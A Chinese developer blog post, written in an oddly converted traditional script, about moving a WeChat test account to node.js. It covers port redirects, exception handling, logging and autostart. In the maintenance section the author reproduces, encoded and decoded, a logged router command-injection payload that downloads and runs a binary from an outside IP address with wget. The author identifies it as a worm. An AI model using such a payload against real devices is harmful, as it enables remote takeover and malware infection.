初涉node.js作微信測試公衆號一路填坑順便發現個有趣的其餘漏洞

【微信測試公衆號】

半年前耍着玩搭起來的「微信簡歷」，是LAMP版的，很皮毛。

微信的官方文檔在這 http://mp.weixin.qq.com/wiki/index.php

1.獲取access token

2.自定義菜單建立，直接在調試工具上作了 http://mp.weixin.qq.com/debug

3.接入指南（接入本身的網站）

4.接收微信消息，判斷消息類型，判斷消息關鍵字（好比來自哪一個按鈕），響應消息

這裏有個小坑，不一樣類型的消息數據結構略有不一樣，判空最好作細緻點。

 

【V2.0 換nodejs後臺】

用慣LAMP和Tomcat+SpringMVC，剛接觸nodejs硬是看傻眼了～服務器呢？容器呢？要本身在js裏監聽端口。。。好伐，看着API查着demo搞起～因而開始填坑之旅啦～

1.微信的消息是xml格式，解析須要工具，好比xml2js

--->乾脆直接找到個微信的框架node-wechat，瞄了一下依賴，底層就是xml2js，不用重複發明輪子了～認證部分sha1驗證也不用本身寫～

2.js文件放上Ubuntu服務器用node啓動不了～【Error: listen EACCES】

--->查了一下是服務器80端口要用root運行～不想sudo讓腳本權限過高，只好在iptables裏把80端口的訪問轉發到好比8080～終於跑起來了。

3.微信消息的數據結構細節問題，好比沒特地判斷是否文本消息就取Content字段致使相似空指針錯誤。細心點就能解決的。

--->爲此還特地進去看了一下node-wechat/index.js的代碼，框架的做者仍是蠻細緻的，該處理的都處理了。

4.健壯性：隨便一個非微信請求就會Exception奔潰退出。--->在js代碼里加入try...catch卻徹底不起做用。

--->由於框架的設計是基於事件監聽的模式，許多異步和回調的操做，不用try...catch捕捉，而是要用process.on('uncaughtException', callback)去處理。

5.日誌。直接記錄未解析的req對象獲得的是[object]，記錄解析後的對象則取不到那些無效的請求。

--->不想太複雜又引入日誌框架，直接把寫文件的代碼嵌入到微信的框架裏，在讀入請求流req.on('end', callback)裏記錄請求，完事～

6.守護進程。node監聽端口是手動調用的，因此，進程啓動也要本身手動去作。--->不想掛nohup，就安裝了又一個node框架forever，並且要-g方式安裝。

至此，測試公衆號終於跑起來啦！

 

【後期維護】

過了兩天沒事上去檢查日誌，貌似仍是不能很愉快地玩耍～

1.Caught exception: TypeError: Cannot read property 'xml' of null

非微信請求，好比直接敲網址。反正錯誤已抓住了，就不處理了。想更健壯些能夠對http請求作判斷和日誌。

 

2.可疑請求

#請求的原內容
%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31

#解碼後
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1

 whois查了一下ip是個奇怪的域名，網站爲空，目測是個相似爬蟲的東西。

查了一下關鍵字，發現是在烏雲上登記的漏洞， http://www.wooyun.org/bugs/wooyun-2013-021321 基本上能夠斷定，就是個掃描攻擊路由器的蠕蟲～

已經把除了80和22之外的端口封掉了，不過請求就是從80端口進來的，沒辦法～

並且只是針對路由器的攻擊，在個人應用中只是一堆編碼，沒威脅～何況故意跑了一下wget命令，也連不上，估計攻擊方已經轉移了～

 

3.開機沒法自動啓動——防火牆設置

iptables端口重定向設置，一重啓就被重置。嘗試了官網保存設置的方式 http://wiki.ubuntu.org.cn/IptablesHowTo#Saving_iptables_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE 是生效了，可是貌似把雲主機上的設置給覆蓋了，致使22端口連不上，整臺雲主機就這樣廢掉了～～～找客服運維太麻煩了，直接重裝了～～～

搗騰了好幾次，最後決定在/etc/rc.local裏添加命令，每次開機配置～成功～

 

4.開機沒法自動啓動——node應用自動啓動

先前是用forever框架來管理應用，發現機器重啓後應用並不能自動啓動，還要另外安裝checkconfig之類的服務器的一些程序，從簡單的角度出發，仍是照樣交給rc.local吧～

而後爲了後臺運行且不用root運行以避免權限太大，配合了nohup和su命令，重啓後如指望的那樣～

su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser

 

5.warning: possible EventEmitter memory leak detected. 11 listeners added.  Use emitter.setMaxListeners() to increase limit.

一口氣開了太多監聽事件，但框架就這麼設計的，只好把限制設大唄～其實也不礙事～

 

好啦，終於填平全部坑，能夠愉快地玩耍啦～